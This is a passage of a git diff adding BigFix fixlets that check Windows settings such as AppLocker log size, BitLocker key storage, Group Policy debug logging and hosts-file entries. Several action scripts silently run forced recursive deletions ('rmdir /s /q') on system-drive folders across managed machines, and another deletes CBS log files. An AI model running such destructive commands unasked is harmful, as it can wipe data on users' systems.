+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker maximum event log size may be too small (20583).bes	
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Applocker maximum event log size may be too small
+  ID       : 20583
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:26:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Applocker maximum event log size may be too small</Title>
+    <Description><![CDATA[<P>The Applocker logs on the system are at their default values or set to a value less than 20 Megabytes</P>
+<P>Consider increasing the applocker log sizes to store more log data regarding Applocker</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
+    <Relevance><![CDATA[((if (not exists value "MaxSize" of it) then (true) else (value "MaxSize" of it as integer < 20971520)) of key "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/EXE and DLL" of native registry) or ((if (not exists value "MaxSize" of it) then (true) else (value "MaxSize" of it as integer < 20971520)) of key "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/MSI and Script" of native registry) or ((if (not exists value "MaxSize" of it) then (true) else (value "MaxSize" of it as integer < 20971520)) of key "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/Packaged app-Deployment" of native registry) or ((if (not exists value "MaxSize" of it) then (true) else (value "MaxSize" of it as integer < 20971520)) of key "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Applocker/Packaged app-Execution" of native registry)]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-19</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Bitlocker Recovery Keys stored on Unencrypted Drive - Windows (20584).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Bitlocker Recovery Keys stored on Unencrypted Drive - Windows (20584).bes
new file mode 100644
index 000000000..3e01057ac
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Bitlocker Recovery Keys stored on Unencrypted Drive - Windows (20584).bes	
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Bitlocker Recovery Keys stored on Unencrypted Drive - Windows
+  ID       : 20584
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:26:39
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Bitlocker Recovery Keys stored on Unencrypted Drive - Windows</Title>
+    <Description><![CDATA[<P>This fixlet is relevant on machines where BigFix is storing current or previous BitLocker Recovery keys on an unencrypted drive.</P>
+<P>This occurs can occur if the BigFix Client is stored on a drive other than the system drive but only the system drive is encrypted.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[/* True if the drive the BES Client is on is NOT encrypted */not (boolean value of selects ("ProtectionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of data folder of client & "'")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption")]]></Relevance>
+    <Relevance>exists (files whose (Name of it contains &quot;RecoveryPwd&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client)</Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-30</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - CBS Log files are too large to compress - Windows (23431).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - CBS Log files are too large to compress - Windows (23431).bes
new file mode 100644
index 000000000..5b8af3e51
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - CBS Log files are too large to compress - Windows (23431).bes	
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - CBS Log files are too large to compress - Windows
+  ID       : 23431
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-09T07:28:21
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - CBS Log files are too large to compress - Windows</Title>
+    <Description><![CDATA[<P>This fixlet corrects an issue with the Windows Component-Based Servicing system.</P>
+<P>The issue originates from the cbs.log file becoming too large to compress into an archive cab causing the files to fill up the Windows Temp directory.</P>
+<P>This fixlet will remove CBS Log files and any cab files from the Windows Temp Directory.</P>
+<P>Kudos and Compliments to Jason Walker for his work on the&nbsp;original fixlet here: <A href="https://bigfix.me/fixlet/details/11930">https://bigfix.me/fixlet/details/11930</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[version of operating system >= version "6"]]></Relevance>
+    <Relevance><![CDATA[exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-09</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
+
+delete __appendfile
+
+appendfile net stop TrustedInstaller
+appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder}
+appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cab_" ) of folders "TEMP" of windows folder}
+appendfile net start TrustedInstaller
+
+delete DeleteLog.cmd
+
+move __appendfile DeleteLog.cmd
+
+waithidden cmd /c DeleteLog.cmd > {pathname of windows folder}\TEMP\cbscleanup.txt 2>&1
+
+pause while {exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 2100) of folders "Logs\CBS" of windows folder AND  (now - active start time of action) < (2 * minute)}
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Control+Alt+Delete Injection may not be allowed (23558).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Control+Alt+Delete Injection may not be allowed (23558).bes
new file mode 100644
index 000000000..939c1f778
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Control+Alt+Delete Injection may not be allowed (23558).bes	
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Control+Alt+Delete Injection may not be allowed
+  ID       : 23558
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:02:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Control+Alt+Delete Injection may not be allowed</Title>
+    <Description><![CDATA[<P>Control Alt Delete is a Secure Attention Sequence that brings the user to&nbsp;a secure desktop.</P>
+<P>By design, neither a remote user, nor an application or service can inject the Secure Attention Sequence. This prevents malicious applications from answering questions on the secure desktop or proceeding through winlogon. This potentially impacts remote assistance and other remote help software because it will prevent a remote user from answering a UAC prompt for elevation instead requiring the user to accept on behalf of the remote user.</P>
+<P>If this fixlet is relevant than Control+Alt+Delete injection is not corrently allowed for remote assistance software. You should enable this via Group Policy under: "Computer Configuration -&gt; Administrative Templates -&gt; Windows Components -&gt; Windows Logon Options" the setting is called, "Disable or enable software Secure Attention Sequence Policy" and should be set to enabled with the dropdown set to "Services"</P>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.0"]]></Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance>(if (it = 0 or it = 2) then (true) else (false)) of ((value &quot;SoftwareSASGeneration&quot; of key &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System&quot; of native registry as string as integer) | 0)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-18</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Dell_Drivers folder of System Drive - Windows (21631).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Dell_Drivers folder of System Drive - Windows (21631).bes
new file mode 100644
index 000000000..0aca870be
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Dell_Drivers folder of System Drive - Windows (21631).bes	
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Files exist in Dell\Drivers folder of System Drive - Windows
+  ID       : 21631
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:13
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Files exist in Dell\Drivers folder of System Drive - Windows</Title>
+    <Description><![CDATA[<P>This fixlet will delete any files in the folder System Drive:\Dell\Drivers</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder &quot;Drivers&quot; of folder &quot;Dell&quot; of drive of system folder</Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __createfile
+delete run.bat
+
+createfile until _end_
+
+rmdir /s /q &quot;{pathname of folder &quot;Drivers&quot; of folder &quot;Dell&quot; of drive of system folder}&quot;
+
+_end_
+
+move __createfile run.bat
+
+waithidden run.bat</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Drivers folder of System Drive - Windows (21632).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Drivers folder of System Drive - Windows (21632).bes
new file mode 100644
index 000000000..3b3ac80ef
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Drivers folder of System Drive - Windows (21632).bes	
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Files exist in Drivers folder of System Drive - Windows
+  ID       : 21632
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Files exist in Drivers folder of System Drive - Windows</Title>
+    <Description><![CDATA[<P>This will delete any files in the SystemDrive:\Drivers folder.</P>
+<P>SystemDrive:\Drivers is typically used by vendor driver installers and various programs. If there is ever a file that is not safe to delete shame on whomever put it here.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder &quot;Drivers&quot; of drive of system folder</Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __createfile
+delete run.bat
+
+createfile until _end_
+
+rmdir /s /q &quot;{pathname of folder &quot;drivers&quot; of drive of system folder}&quot;
+
+_end_
+
+move __createfile run.bat
+
+waithidden run.bat</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Logs folder of System Drive - Windows (21633).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Logs folder of System Drive - Windows (21633).bes
new file mode 100644
index 000000000..4a4e7636c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in Logs folder of System Drive - Windows (21633).bes	
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Files exist in Logs folder of System Drive - Windows
+  ID       : 21633
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:23
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Files exist in Logs folder of System Drive - Windows</Title>
+    <Description><![CDATA[<P>This will delete any files in the SystemDrive:\Logs folder.</P>
+<P>SystemDrive:\Logs is typically used by Intel installers and various programs. If there is ever a log that is not safe to delete shame on whomever put it here.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder &quot;logs&quot; of drive of system folder</Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __createfile
+delete run.bat
+
+createfile until _end_
+
+rmdir /s /q &quot;{pathname of folder &quot;logs&quot; of drive of system folder}&quot;
+
+_end_
+
+move __createfile run.bat
+
+waithidden run.bat</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in adobeTemp folder of System Drive - Windows (21634).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in adobeTemp folder of System Drive - Windows (21634).bes
new file mode 100644
index 000000000..315dc7ea0
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Files exist in adobeTemp folder of System Drive - Windows (21634).bes	
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Files exist in adobeTemp folder of System Drive - Windows
+  ID       : 21634
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Files exist in adobeTemp folder of System Drive - Windows</Title>
+    <Description><![CDATA[<P>This will delete any files in the SystemDrive:\adobeTemp folder.</P>
+<P>SystemDrive:\adobeTemp is typically used by adobe&nbsp;installers. If there is ever a file that is not safe to delete shame on whomever put it here.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder &quot;adobeTemp&quot; of drive of system folder</Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __createfile
+delete run.bat
+
+createfile until _end_
+
+rmdir /s /q &quot;{pathname of folder &quot;adobeTEmp&quot; of drive of system folder}&quot;
+
+_end_
+
+move __createfile run.bat
+
+waithidden run.bat</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Folder _Program_ exists in Root of System Drive - Windows (21635).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Folder _Program_ exists in Root of System Drive - Windows (21635).bes
new file mode 100644
index 000000000..da239d599
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Folder _Program_ exists in Root of System Drive - Windows (21635).bes	
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Folder "Program" exists in Root of System Drive - Windows
+  ID       : 21635
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Folder &quot;Program&quot; exists in Root of System Drive - Windows</Title>
+    <Description><![CDATA[<P>If there exists a folder called, "Progam" exists in the root of the system drive. Users logging in will receive an error.</P>
+<P>This Fixlet removes the folder. This fixlet will fail if the folder is not empty.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder &quot;Program&quot; of drive of system folder</Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
+    <SourceSeverity>Critical</SourceSeverity>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to remove this folder if it is empty.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+folder delete &quot;{pathname of folder &quot;Program&quot; of drive of system folder}&quot;</ActionScript>
+    </DefaultAction>
+    <Action ID="Action22545">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to remove this folder regardless of if it is empty.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+waithidden cmd.exe /c rmdir /s /q &quot;{pathname of folder &quot;Program&quot; of drive of system folder}&quot;</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Preferences debug logging may be enabled - Windows (21636).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Preferences debug logging may be enabled - Windows (21636).bes
new file mode 100644
index 000000000..b561e539a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Preferences debug logging may be enabled - Windows (21636).bes	
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Group Policy Preferences debug logging may be enabled - Windows
+  ID       : 21636
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:40
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Group Policy Preferences debug logging may be enabled - Windows</Title>
+    <Description><![CDATA[<P>This fixlet is relevant if tracing is enabled for one or more Group Policy Preferences Extensions.</P>
+<P>Tracing creates detailed log files on the system and may reduce performance of the Group Policy client. This could impact start-up and login time.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists keys whose (value &quot;LogLevel&quot; of it as string != &quot;0&quot;) of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Group Policy&quot; of native registry</Relevance>
+    <Category>Group Policy</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Preferences debug tracing may be enabled - Windows (21637).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Preferences debug tracing may be enabled - Windows (21637).bes
new file mode 100644
index 000000000..0131c7554
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Preferences debug tracing may be enabled - Windows (21637).bes	
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Group Policy Preferences debug tracing may be enabled - Windows
+  ID       : 21637
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Group Policy Preferences debug tracing may be enabled - Windows</Title>
+    <Description><![CDATA[<P>This fixlet is relevant if tracing is enabled for one or more Group Policy Preferences Extensions.</P>
+<P>Tracing creates detailed log files on the system and may reduce performance of the Group Policy client. This could impact start-up and login times.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists keys whose (value &quot;TraceLevel&quot; of it as string != &quot;0&quot;) of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Group Policy&quot; of native registry</Relevance>
+    <Category>Group Policy</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Service debug logging may be enabled - Windows (21638).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Service debug logging may be enabled - Windows (21638).bes
new file mode 100644
index 000000000..c6844d964
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Group Policy Service debug logging may be enabled - Windows (21638).bes	
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Group Policy Service debug logging may be enabled - Windows
+  ID       : 21638
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Group Policy Service debug logging may be enabled - Windows</Title>
+    <Description><![CDATA[<P>This fixlet evaluates to true if Group Policy debug logging is enabled on the target system. </P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists value &quot;GPSvcDebugLevel&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Category>Group Policy</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Hosts files contains manually defined hosts - Win_Mac (20536).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Hosts files contains manually defined hosts - Win_Mac (20536).bes
new file mode 100644
index 000000000..c695dbdff
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Hosts files contains manually defined hosts - Win_Mac (20536).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Hosts files contains manually defined hosts - Win\Mac
+  ID       : 20536
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:14:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Hosts files contains manually defined hosts - Win\Mac</Title>
+    <Description><![CDATA[<P>This fixlet is relevant if there are manually defined hosts in the system's hosts file.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system or mac of operating system</Relevance>
+    <Relevance><![CDATA[number of lines whose (it as trimmed string does not equal "" and it does not start with "#" and it does not start with "127.0.0.1" and it does not start with "255.255.255.255" and it does not start with "::1" and it does not start with "fe80::1") of file "hosts" of (if windows of operating system then folder "drivers\etc" of (if (x64 of operating system ) then (system x64 folder) else (system x32 folder)) else (if mac of operating system then folder "/private/etc" else folder "/etc")) > 0]]></Relevance>
